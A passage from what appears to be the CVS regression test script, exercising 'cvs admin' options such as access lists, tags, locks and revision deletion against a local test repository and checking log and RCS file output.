\"${testcvs} -q log file1\" \\\n\"${PROG} log: nothing known about file1\"\n\t dotest_fail admin-4a \"${testcvs} -q admin file1\" \\\n\"${PROG} admin: nothing known about file1\"\n\n\t # Set up some files, file2 a plain one and file1 with a revision\n\t # on a branch.\n\t touch file1 file2\n\t dotest admin-5 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest admin-6 \"${testcvs} -q ci -m add\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t dotest admin-7 \"${testcvs} -q tag -b br\" \"T file1\nT file2\"\n\t dotest admin-8 \"$testcvs -q update -r br\" \\\n'U file1\nU file2'\n\t echo 'add a line on the branch' >> file1\n\t echo 'add a file on the branch' >> file3\n\t dotest admin-9a \"${testcvs} -q add file3\" \\\n\"${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest admin-9b \"${testcvs} -q ci -m modify-on-branch\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\ndone\nChecking in file3;\n${CVSROOT_DIRNAME}/first-dir/Attic/file3,v <-- file3\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t dotest admin-10 \"$testcvs -q update -A\" \\\n\"U file1\nU file2\n$PROG update: file3 is no longer in the repository\"\n\n\t # Check that we can administer files in the repository that\n\t # aren't in the working directory.\n\t dotest admin-10-1 \"${testcvs} admin .\" \\\n\"${PROG} admin: Administrating .\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\t dotest admin-10-2 \"${testcvs} -q admin file3\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\ndone\"\n\n\t # Try to recurse with a numeric revision arg.\n\t # If we wanted to comprehensive about this, we would also test\n\t # this for -l, -u, and all the different -o syntaxes.\n\t dotest_fail admin-10a \"${testcvs} -q admin -b1.1.2\" \\\n\"${PROG} [a-z]*: while processing more than one file:\n${PROG} \\[[a-z]* aborted\\]: attempt to specify a numeric revision\"\n\t dotest_fail admin-10b \"${testcvs} -q admin -m1.1:bogus file1 file2\" \\\n\"${PROG} [a-z]*: while processing more than one file:\n${PROG} \\[[a-z]* aborted\\]: attempt to specify a numeric revision\"\n\n\t # try a bad symbolic revision\n\t dotest_fail admin-10c \"${testcvs} -q admin -bBOGUS\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/file1,v: Symbolic name BOGUS is undefined.\n${PROG} admin: RCS file for .file1. not modified\\.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/file2,v: Symbolic name BOGUS is undefined.\n${PROG} admin: RCS file for .file2. not modified\\.\"\n\n\t # Note that -s option applies to the new default branch, not\n\t # the old one.\n\t # Also note that the implementation of -a via \"rcs\" requires\n\t # no space between -a and the argument. However, we expect\n\t # to change that once CVS parses options.\n\t dotest admin-11 \"${testcvs} -q admin -afoo,bar -abaz \\\n-b1.1.2 -cxx -U -sfoo file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest admin-11a \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch: 1\\.1\\.2\nlocks:\naccess list:\n\tfoo\n\tbar\n\tbaz\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nadd\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: foo; lines: ${PLUS}1 -0\nmodify-on-branch\n=============================================================================\"\n\t dotest admin-12 \"${testcvs} -q admin -bbr file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest admin-12a \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch: 1\\.1\\.2\nlocks:\naccess list:\n\tfoo\n\tbar\n\tbaz\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nadd\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: foo; lines: ${PLUS}1 -0\nmodify-on-branch\n=============================================================================\"\n\n\t # \"cvs log\" doesn't print the comment leader. RCS 5.7 will print\n\t # the comment leader only if one specifies \"-V4\" to rlog. So it\n\t # seems like the only way to test it is by looking at the RCS file\n\t # directly. This also serves as a test of exporting RCS files\n\t # (analogous to the import tests in \"rcs\").\n\t # Rather than try to write a rigorous check for whether the\n\t # file CVS exports is legal, we just write a simpler\n\t # test for what CVS actually exports, and figure we can revise\n\t # the check as needed (within the confines of the RCS5 format as\n\t # documented in RCSFILES).\n\t # Note that we must accept either 2 or 4 digit year.\n\t dotest admin-13 \"cat ${CVSROOT_DIRNAME}/first-dir/file1,v\" \\\n\"head\t1\\.1;\nbranch\t1\\.1\\.2;\naccess\n\tfoo\n\tbar\n\tbaz;\nsymbols\n\tbr:1\\.1\\.0\\.2;\nlocks;\ncomment\t@xx@;\n\n\n1\\.1\ndate\t[0-9][0-9]*\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9];\tauthor ${username};\tstate Exp;\nbranches\n\t1\\.1\\.2\\.1;\nnext\t;\n\n1\\.1\\.2\\.1\ndate\t[0-9][0-9]*\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9];\tauthor ${username};\tstate foo;\nbranches;\nnext\t;\n\n\ndesc\n@@\n\n\n1\\.1\nlog\n@add\n@\ntext\n@@\n\n\n1\\.1\\.2\\.1\nlog\n@modify-on-branch\n@\ntext\n@a0 1\nadd a line on the branch\n@\"\n\t dotest_fail admin-14-1 \"${testcvs} -q admin \\\n-m1.1.1.1:changed-bogus-log-message file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ncvs admin: ${CVSROOT_DIRNAME}/first-dir/file2,v: no such revision 1\\.1\\.1\\.1\ncvs admin: RCS file for .file2. not modified.\"\n\t dotest admin-14-2 \"${testcvs} -q log file2\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tbr: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nadd\n=============================================================================\"\n\n\t dotest admin-14-3 \"${testcvs} -q admin -aauth3 -aauth2,foo \\\n-soneone:1.1 -m1.1:changed-log-message -ntagone: file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\t dotest admin-15 \"${testcvs} -q log file2\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\n\tauth3\n\tauth2\n\tfoo\nsymbolic names:\n\ttagone: 1\\.1\n\tbr: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: oneone;\nchanged-log-message\n=============================================================================\"\n\n\t dotest admin-16 \"${testcvs} -q admin \\\n-A${CVSROOT_DIRNAME}/first-dir/file2,v -b -L -Nbr:1.1 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest admin-17 \"${testcvs} -q log file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\n\tfoo\n\tbar\n\tbaz\n\tauth3\n\tauth2\nsymbolic names:\n\tbr: 1\\.1\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nadd\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: foo; lines: ${PLUS}1 -0\nmodify-on-branch\n=============================================================================\"\n\n\t dotest_fail admin-18 \"${testcvs} -q admin -nbr:1.1.2 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/file1,v: symbolic name br already bound to 1\\.1\n${PROG} admin: RCS file for .file1. not modified\\.\"\n\t dotest admin-19 \"${testcvs} -q admin -ebaz -ebar,auth3 -nbr file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest admin-20 \"${testcvs} -q log file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\n\tfoo\n\tauth2\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nadd\n----------------------------\nrevision 1.1.2.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: foo; lines: ${PLUS}1 -0\nmodify-on-branch\n=============================================================================\"\n\n\t # OK, this is starting to get ridiculous, in terms of\n\t # testing a feature (access lists) which doesn't do anything\n\t # useful, but what about nonexistent files and\n\t # relative pathnames in admin -A?\n\t dotest_fail admin-19a-nonexist \\\n\"${testcvs} -q admin -A${TESTDIR}/foo/bar file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\n${PROG} admin: Couldn't open rcs file .${TESTDIR}/foo/bar.: No such file or directory\n${PROG} \\[admin aborted\\]: cannot continue\"\n\n\t # In the remote case, we are cd'd off into the temp directory\n\t # and so these tests give \"No such file or directory\" errors.\n\t if $remote; then :; else\n\t dotest admin-19a-admin \"${testcvs} -q admin -A../../${CVSROOTDIR}/first-dir/file2,v file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest admin-19a-log \"${testcvs} -q log -h -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\n\tfoo\n\tauth2\n\tauth3\nkeyword substitution: kv\ntotal revisions: 2\n=============================================================================\"\n\t fi # end of tests skipped for remote\n\n\t # Now test that plain -e works right.\n\t dotest admin-19a-2 \"${testcvs} -q admin -e file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\t dotest admin-19a-3 \"${testcvs} -q log -h -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 2\n=============================================================================\"\n\n\t # Put the access list back, to avoid special cases later.\n\t dotest admin-19a-4 \"${testcvs} -q admin -afoo,auth2 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\n\t # Add another revision to file2, so we can delete one.\n\t echo 'add a line' >> file2\n\t dotest admin-21 \"${testcvs} -q ci -m modify file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t dotest admin-22 \"${testcvs} -q admin -o1.1 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndeleting revision 1\\.1\ndone\"\n\t # Test admin -o. More variants that we could be testing:\n\t # * REV: [on branch]\n\t # * REV1:REV2 [deleting whole branch]\n\t # * high branch numbers (e.g. 1.2.2.3.2.3)\n\t # ... and probably others. See RCS_delete_revs for ideas.\n\n\t echo first rev > aaa\n\t dotest admin-22-o1 \"${testcvs} add aaa\" \\\n\"${PROG} add: scheduling file .aaa. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest admin-22-o2 \"${testcvs} -q ci -m first aaa\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\ndone\nChecking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\ninitial revision: 1\\.1\ndone\"\n\t echo second rev >> aaa\n\t dotest admin-22-o3 \"${testcvs} -q ci -m second aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\t echo third rev >> aaa\n\t dotest admin-22-o4 \"${testcvs} -q ci -m third aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\t echo fourth rev >> aaa\n\t dotest admin-22-o5 \"${testcvs} -q ci -m fourth aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n\t echo fifth rev >>aaa\n\t dotest admin-22-o6 \"${testcvs} -q ci -m fifth aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.5; previous revision: 1\\.4\ndone\"\n\t echo sixth rev >> aaa\n\t dotest admin-22-o7 \"${testcvs} -q ci -m sixth aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.6; previous revision: 1\\.5\ndone\"\n\t dotest admin-22-o8 \"${testcvs} admin -l1.6 aaa\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\n1\\.6 locked\ndone\"\n\t dotest admin-22-o9 \"${testcvs} log -r1.6 aaa\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\nWorking file: aaa\nhead: 1\\.6\nbranch:\nlocks: strict\n\t${username}: 1\\.6\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 6;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.6\tlocked by: ${username};\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nsixth\n=============================================================================\"\n\t dotest_fail admin-22-o10 \"${testcvs} admin -o1.5: aaa\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/aaa,v: can't remove locked revision 1\\.6\n${PROG} admin: RCS file for .aaa. not modified\\.\"\n\t dotest admin-22-o11 \"${testcvs} admin -u aaa\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\n1\\.6 unlocked\ndone\"\n\t dotest admin-22-o12 \"${testcvs} admin -o1.5: aaa\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\ndeleting revision 1\\.6\ndeleting revision 1\\.5\ndone\"\n\t dotest admin-22-o13 \"${testcvs} log aaa\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\nWorking file: aaa\nhead: 1\\.4\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\nkeyword substitution: kv\ntotal revisions: 4;\tselected revisions: 4\ndescription:\n----------------------------\nrevision 1\\.4\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nfourth\n----------------------------\nrevision 1\\.3\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nthird\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nsecond\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nfirst\n=============================================================================\"\n\n\t dotest admin-22-o14 \"${testcvs} tag -b -r1.3 br1 aaa\" \"T aaa\"\n\t dotest admin-22-o15 \"${testcvs} update -rbr1 aaa\" \"U aaa\"\n\t echo new branch rev >> aaa\n\t dotest admin-22-o16 \"${testcvs} ci -m new-branch aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.3\\.2\\.1; previous revision: 1\\.3\ndone\"\n\t dotest_fail admin-22-o17 \"${testcvs} admin -o1.2:1.4 aaa\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\ndeleting revision 1\\.4\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/aaa,v: can't remove branch point 1\\.3\n${PROG} admin: RCS file for .aaa. not modified\\.\"\n\t dotest admin-22-o18 \"${testcvs} update -p -r1.4 aaa\" \\\n\"===================================================================\nChecking out aaa\nRCS: ${CVSROOT_DIRNAME}/first-dir/aaa,v\nVERS: 1\\.4\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nfirst rev\nsecond rev\nthird rev\nfourth rev\"\n\t echo second branch rev >> aaa\n\t dotest admin-22-o19 \"${testcvs} ci -m branch-two aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.3\\.2\\.2; previous revision: 1\\.3\\.2\\.1\ndone\"\n\t echo third branch rev >> aaa\n\t dotest admin-22-o20 \"${testcvs} ci -m branch-three aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.3\\.2\\.3; previous revision: 1\\.3\\.2\\.2\ndone\"\n\t echo fourth branch rev >> aaa\n\t dotest admin-22-o21 \"${testcvs} ci -m branch-four aaa\" \\\n\"Checking in aaa;\n${CVSROOT_DIRNAME}/first-dir/aaa,v <-- aaa\nnew revision: 1\\.3\\.2\\.4; previous revision: 1\\.3\\.2\\.3\ndone\"\n\t dotest admin-22-o22 \"${testcvs} admin -o:1.3.2.3 aaa\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\ndeleting revision 1\\.3\\.2\\.1\ndeleting revision 1\\.3\\.2\\.2\ndeleting revision 1\\.3\\.2\\.3\ndone\"\n\t dotest admin-22-o23 \"${testcvs} log aaa\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\nWorking file: aaa\nhead: 1\\.4\nbranch:\nlocks: strict\naccess list:\nsymbolic names:\n\tbr1: 1\\.3\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 5;\tselected revisions: 5\ndescription:\n----------------------------\nrevision 1\\.4\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nfourth\n----------------------------\nrevision 1\\.3\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nbranches: 1\\.3\\.2;\nthird\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nsecond\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nfirst\n----------------------------\nrevision 1\\.3\\.2\\.4\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}4 -0\nbranch-four\n=============================================================================\"\n\n\t dotest admin-22-o24 \"${testcvs} -q update -p -r 1.3.2.4 aaa\" \\\n\"first rev\nsecond rev\nthird rev\nnew branch rev\nsecond branch rev\nthird branch rev\nfourth branch rev\"\n\n\t # The bit here about how there is a \"tagone\" tag pointing to\n\t # a nonexistent revision is documented by rcs. I dunno, I\n\t # wonder whether the \"cvs admin -o\" should give a warning in\n\t # this case.\n\t dotest admin-23 \"${testcvs} -q log file2\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.2\nbranch:\nlocks: strict\naccess list:\n\tauth3\n\tauth2\n\tfoo\nsymbolic names:\n\ttagone: 1\\.1\n\tbr: 1\\.1\\.0\\.2\nkeyword substitution: kv\ntotal revisions: 1;\tselected revisions: 1\ndescription:\n----------------------------\nrevision 1\\.2\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nmodify\n=============================================================================\"\n\n\t dotest admin-25 \"cat ${CVSROOT_DIRNAME}/first-dir/file1,v\" \\\n\"head\t1\\.1;\naccess\n\tfoo\n\tauth2;\nsymbols;\nlocks; strict;\ncomment\t@xx@;\n\n\n1\\.1\ndate\t[0-9][0-9]*\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9];\tauthor ${username};\tstate Exp;\nbranches\n\t1\\.1\\.2\\.1;\nnext\t;\n\n1\\.1\\.2\\.1\ndate\t[0-9][0-9]*\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9];\tauthor ${username};\tstate foo;\nbranches;\nnext\t;\n\n\ndesc\n@@\n\n\n1\\.1\nlog\n@add\n@\ntext\n@@\n\n\n1\\.1\\.2\\.1\nlog\n@modify-on-branch\n@\ntext\n@a0 1\nadd a line on the branch\n@\"\n\n\t # Tests of cvs admin -n. Make use of the results of\n\t # admin-1 through admin-25.\n\t # FIXME: We probably shouldn't make use of those results;\n\t # this test is way too long as it is.\n\n\t # tagtwo should be a revision\n\t #\n\t dotest admin-26-1 \"${testcvs} admin -ntagtwo:tagone file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n \t \n\t # br1 should be a branch\n\t #\n\t dotest admin-26-2 \"${testcvs} admin -nbr1:br file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n \t \n\t # Attach some tags using RCS versions\n\t #\n\t dotest admin-26-3 \"${testcvs} admin -ntagthree:1.1 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\n\t dotest admin-26-4 \"${testcvs} admin -nbr2:1.1.2 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\n\t dotest admin-26-5 \"${testcvs} admin -nbr4:1.1.0.2 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n \t \n\t # Check results so far\n\t #\n\t dotest admin-26-6 \"${testcvs} status -v file2\" \\\n\"===================================================================\nFile: file2 \tStatus: Up-to-date\n\n Working revision:\t1\\.2.*\n Repository revision:\t1\\.2\t${CVSROOT_DIRNAME}/first-dir/file2,v\n Sticky Tag:\t\t(none)\n Sticky Date:\t\t(none)\n Sticky Options:\t(none)\n\n Existing Tags:\n\tbr4 \t(branch: 1\\.1\\.2)\n\tbr2 \t(branch: 1\\.1\\.2)\n\ttagthree \t(revision: 1\\.1)\n\tbr1 \t(branch: 1\\.1\\.2)\n\ttagtwo \t(revision: 1\\.1)\n\ttagone \t(revision: 1\\.1)\n\tbr \t(branch: 1\\.1\\.2)\"\n\n \t \n\t # Add a couple more revisions\n\t #\n\t echo \"nuthr_line\" >> file2\n\t dotest admin-27-1 \"${testcvs} commit -m nuthr_line file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.3; previous revision: 1\\.2\ndone\"\n\n\t echo \"yet_another\" >> file2\n\t dotest admin-27-2 \"${testcvs} commit -m yet_another file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.4; previous revision: 1\\.3\ndone\"\n \t \n\t # Fail trying to reattach existing tag with -n\n\t #\n\t dotest admin-27-3 \"${testcvs} admin -ntagfour:1.1 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n\n\t dotest_fail admin-27-4 \"${testcvs} admin -ntagfour:1.3 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/file2,v: symbolic name tagfour already bound to 1\\.1\n${PROG} admin: RCS file for .file2. not modified\\.\"\n \t \n\t # Succeed at reattaching existing tag, using -N\n\t #\n\t dotest admin-27-5 \"${testcvs} admin -Ntagfour:1.3 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\"\n \t \n\t # Fail on some bogus operations\n\t # Try to attach to nonexistant tag\n\t #\n\t dotest_fail admin-28-1 \"${testcvs} admin -ntagsix:tagfive file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/file2,v: Symbolic name or revision tagfive is undefined\\.\n${PROG} admin: RCS file for .file2. not modified\\.\"\n \t \n\t # Try a some nonexisting numeric target tags\n\t #\n\t dotest_fail admin-28-2 \"${testcvs} admin -ntagseven:2.1 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} \\[admin aborted\\]: revision .2\\.1. does not exist\"\n\n\t dotest_fail admin-28-3 \"${testcvs} admin -ntageight:2.1.2 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} \\[admin aborted\\]: revision .2\\.1\\.2. does not exist\"\n \t \n\t # Try some invalid targets\n\t #\n\t dotest_fail admin-28-4 \"${testcvs} admin -ntagnine:1.a.2 file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} \\[admin aborted\\]: tag .1\\.a\\.2. must start with a letter\"\n\n\t # Confirm that a missing tag is not a fatal error.\n\t dotest admin-28-5.1 \"${testcvs} -Q tag BO+GUS file1\" ''\n\t dotest_fail admin-28-5.2 \"${testcvs} admin -ntagten:BO+GUS file2 file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/file2,v: Symbolic name or revision BO${PLUS}GUS is undefined\\.\n${PROG} admin: RCS file for .file2. not modified\\.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\"\n\n\t dotest_fail admin-28-6 \"${testcvs} admin -nq.werty:tagfour file2\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} \\[admin aborted\\]: tag .q\\.werty. must not contain the characters ..*\"\n\n\t # Verify the archive\n\t #\n\t dotest admin-29 \"cat ${CVSROOT_DIRNAME}/first-dir/file2,v\" \\\n\"head\t1\\.4;\naccess\n\tauth3\n\tauth2\n\tfoo;\nsymbols\n\ttagfour:1\\.3\n\tbr4:1\\.1\\.0\\.2\n\tbr2:1\\.1\\.0\\.2\n\ttagthree:1\\.1\n\tbr1:1\\.1\\.0\\.2\n\ttagtwo:1\\.1\n\ttagone:1\\.1\n\tbr:1\\.1\\.0\\.2;\nlocks; strict;\ncomment\t@# @;\n\n\n1\\.4\ndate\t[0-9][0-9]*\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9];\tauthor ${username};\tstate Exp;\nbranches;\nnext\t1\\.3;\n\n1\\.3\ndate\t[0-9][0-9]*\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9];\tauthor ${username};\tstate Exp;\nbranches;\nnext\t1\\.2;\n\n1\\.2\ndate\t[0-9][0-9]*\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9]\\.[0-9][0-9];\tauthor ${username};\tstate Exp;\nbranches;\nnext\t;\n\n\ndesc\n@@\n\n\n1\\.4\nlog\n@yet_another\n@\ntext\n@add a line\nnuthr_line\nyet_another\n@\n\n\n1\\.3\nlog\n@nuthr_line\n@\ntext\n@d3 1\n@\n\n\n1\\.2\nlog\n@modify\n@\ntext\n@d2 1\n@\"\n\n\t dotest_fail admin-30 \"${testcvs} admin -mbr:another-log-message \\\nfile2 aaa file3\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/file2,v: no such revision br: 1\\.1\n${PROG} admin: RCS file for .file2. not modified.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/aaa,v\n${PROG} admin: ${CVSROOT_DIRNAME}/first-dir/aaa,v: no such revision br\n${PROG} admin: RCS file for .aaa. not modified.\nRCS file: ${CVSROOT_DIRNAME}/first-dir/Attic/file3,v\ndone\"\n\t dotest admin-31 